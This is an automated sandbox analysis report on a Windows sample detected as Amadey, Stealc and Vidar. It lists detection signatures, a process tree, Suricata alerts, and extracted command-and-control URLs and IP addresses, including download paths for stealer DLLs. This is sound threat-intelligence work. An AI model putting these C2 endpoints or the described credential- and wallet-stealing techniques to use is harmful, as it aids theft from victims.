Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1502390
MD5:	d2d35997021550d304bf21a670921efe
SHA1:	974ed61752963812b1005e85d5077e43b00afc6b
SHA256:	5da8190ffd2e3bfbc685b9de6e326eefe60be0b51a5be2ea38634e45287ccfbc
Tags:	exe
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

PE file contains section with special chars

Potentially malicious time measurement code found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sleep loop found (likely to delay execution)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6944 cmdline: "C:\Users\user\Desktop\file.exe" MD5: D2D35997021550D304BF21A670921EFE)

explorti.exe (PID: 1868 cmdline: "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe" MD5: D2D35997021550D304BF21A670921EFE)

explorti.exe (PID: 6500 cmdline: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe MD5: D2D35997021550D304BF21A670921EFE)

explorti.exe (PID: 7692 cmdline: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe MD5: D2D35997021550D304BF21A670921EFE)

eb98fe5174.exe (PID: 7864 cmdline: "C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe" MD5: 3D7BB337FEC6E0587CB2AC31BBD4780A)

53c7d901f1.exe (PID: 7996 cmdline: "C:\Users\user\AppData\Roaming\1000052000\53c7d901f1.exe" MD5: 3D7BB337FEC6E0587CB2AC31BBD4780A)

8eb30d7f71.exe (PID: 8164 cmdline: "C:\Users\user\AppData\Local\Temp\1000053001\8eb30d7f71.exe" MD5: F1864783E3A390625B906496CA7983A2)

msedge.exe (PID: 8184 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --edge-kiosk-type=fullscreen --no-first-run --disable-features=TranslateUI --disable-popup-blocking --disable-extensions --no-default-browser-check --app=https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.com/signinoptions/password MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6892 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=2064,i,2067255111273932546,8949113653420219710,262144 --disable-features=TranslateUI /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5480 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --edge-kiosk-type=fullscreen --no-first-run --disable-features=TranslateUI --disable-popup-blocking --disable-extensions --no-default-browser-check --app=https://accounts.google.com/ServiceLogin?service=accountsettings&continue=https://myaccount.google.com/signinoptions/password --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 4248 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2616 --field-trial-handle=1980,i,18313026722689796995,6821314584092164517,262144 --disable-features=TranslateUI /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6840 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=4612 --field-trial-handle=1980,i,18313026722689796995,6821314584092164517,262144 --disable-features=TranslateUI /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6872 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7040 --field-trial-handle=1980,i,18313026722689796995,6821314584092164517,262144 --disable-features=TranslateUI /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

identity_helper.exe (PID: 6160 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6416 --field-trial-handle=1980,i,18313026722689796995,6821314584092164517,262144 --disable-features=TranslateUI /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)

identity_helper.exe (PID: 7348 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6416 --field-trial-handle=1980,i,18313026722689796995,6821314584092164517,262144 --disable-features=TranslateUI /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)

msedge.exe (PID: 3104 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6868 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3056 --field-trial-handle=2840,i,12003501403383072226,2430536015777904389,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 6484 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=4132 --field-trial-handle=2840,i,12003501403383072226,2430536015777904389,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

identity_helper.exe (PID: 1904 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6108 --field-trial-handle=2840,i,12003501403383072226,2430536015777904389,262144 /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)

identity_helper.exe (PID: 3916 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6108 --field-trial-handle=2840,i,12003501403383072226,2430536015777904389,262144 /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)

msedge.exe (PID: 3512 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7960 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1160,i,17042684596641100279,13993029759771197311,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7944 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 5912 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1684 --field-trial-handle=2064,i,2036512315538271588,12735040485945945240,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/ https://bitsight.com/blog/unveiling-socks5systemz-rise-new-proxy-service-privateloader-and-amadey	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.100/e2b1563c6670f193.php"}

Threatname: Amadey

{"C2 url": ["http://185.215.113.19/Vi9leo/index.php"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1731310939.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.1724434181.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1644028798.00000000052D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.1725167725.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2316417057.00000000052D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000002.2653239563.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000002.1765635278.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.1764804694.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.2639639180.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.2639639180.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000002.2880125068.0000000000AF1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: eb98fe5174.exe PID: 7864	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: eb98fe5174.exe PID: 7864	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: eb98fe5174.exe PID: 7864	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: eb98fe5174.exe PID: 7864	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 53c7d901f1.exe PID: 7996	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 53c7d901f1.exe PID: 7996	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.explorti.exe.af0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.explorti.exe.af0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.af0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.explorti.exe.af0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.4 - Destination IP: 185.215.113.16

Timestamp:	2024-09-01T05:09:06.688561+0200
SID:	2803305
Severity:	3
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T05:09:34.647239+0200
SID:	2044243
Severity:	1
Source Port:	49796
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Amadey CnC Activity M3 - Source IP: 192.168.2.4 - Destination IP: 185.215.113.19

Timestamp:	2024-09-01T05:09:05.663606+0200
SID:	2856147
Severity:	1
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T05:09:23.930344+0200
SID:	2803304
Severity:	3
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T05:09:26.748688+0200
SID:	2803304
Severity:	3
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.4 - Destination IP: 185.215.113.19

Timestamp:	2024-09-01T05:09:09.762118+0200
SID:	2044696
Severity:	1
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.4 - Destination IP: 185.215.113.19

Timestamp:	2024-09-01T05:09:12.648485+0200
SID:	2044696
Severity:	1
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Stealc Submitting System Information to C2 - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T05:09:14.927910+0200
SID:	2044248
Severity:	1
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.4 - Destination IP: 185.215.113.19

Timestamp:	2024-09-01T05:09:16.479309+0200
SID:	2044696
Severity:	1
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T05:09:28.986733+0200
SID:	2803304
Severity:	3
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T05:09:13.715269+0200
SID:	2044246
Severity:	1
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern H - Source IP: 192.168.2.4 - Destination IP: 185.215.113.16

Timestamp:	2024-09-01T05:09:13.418026+0200
SID:	2803305
Severity:	3
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T05:09:13.468089+0200
SID:	2044244
Severity:	1
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 185.215.113.100 - Destination IP: 192.168.2.4

Timestamp:	2024-09-01T05:09:13.721793+0200
SID:	2044247
Severity:	1
Source Port:	80
Destination Port:	49742
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config - Source IP: 185.215.113.100 - Destination IP: 192.168.2.4

Timestamp:	2024-09-01T05:09:13.473784+0200
SID:	2044245
Severity:	1
Source Port:	80
Destination Port:	49742
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T05:09:26.200893+0200
SID:	2803304
Severity:	3
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Amadey CnC Response M1 - Source IP: 185.215.113.19 - Destination IP: 192.168.2.4

Timestamp:	2024-09-01T05:09:09.015636+0200
SID:	2856122
Severity:	1
Source Port:	80
Destination Port:	49737
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T05:09:15.589550+0200
SID:	2803304
Severity:	3
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T05:09:25.113696+0200
SID:	2803304
Severity:	3
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T05:09:28.555032+0200
SID:	2803304
Severity:	3
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-09-01T05:09:13.215865+0200
SID:	2044243
Severity:	1
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

HTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message

Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2619375968.000000000080D000.00000040.00000001.01000000.00000009.sdmp, 53c7d901f1.exe, 00000008.00000002.2653239563.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100
Source: eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp, 53c7d901f1.exe, 00000008.00000002.2653239563.0000000001007000.00000004.00000020.00020000.00000000.sdmp, 53c7d901f1.exe, 00000008.00000002.2653239563.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/
Source: eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/freebl3.dll
Source: eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/freebl3.dlla
Source: eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/mozglue.dll
Source: eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/mozglue.dllk
Source: eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/msvcp140.dll
Source: eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/msvcp140.dllP
Source: eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp, eb98fe5174.exe, 00000007.00000002.2639639180.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/nss3.dll
Source: eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/nss3.dll5
Source: eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/nss3.dllK
Source: eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/nss3.dllY
Source: eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/nss3.dllll
Source: eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/nss3.dllll9
Source: eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/nss3.dllllG
Source: eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/nss3.dllllo
Source: eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/softokn3.dll
Source: eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/softokn3.dllA
Source: eb98fe5174.exe, 00000007.00000002.2619375968.00000000006CA000.00000040.00000001.01000000.00000009.sdmp, eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/sqlite3.dll
Source: eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/sqlite3.dll#
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/vcruntime140.dll
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/vcruntime140.dllD
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/vcruntime140.dlld
Source: 53c7d901f1.exe, 00000008.00000002.2653239563.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/ZkRm
Source: 53c7d901f1.exe, 00000008.00000002.2653239563.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php
Source: eb98fe5174.exe, 00000007.00000003.2509141109.000000000107B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php#
Source: 53c7d901f1.exe, 00000008.00000002.2653239563.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php/
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php0u
Source: 53c7d901f1.exe, 00000008.00000002.2653239563.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php2
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php3
Source: 53c7d901f1.exe, 00000008.00000002.2653239563.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php8q
Source: eb98fe5174.exe, 00000007.00000002.2639639180.000000000100A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpA
Source: eb98fe5174.exe, 00000007.00000002.2639639180.0000000001024000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpAECGHCBGCBFHIIDHI$3
Source: 53c7d901f1.exe, 00000008.00000002.2653239563.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpDq
Source: eb98fe5174.exe, 00000007.00000003.2494709645.000000000105D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpDu
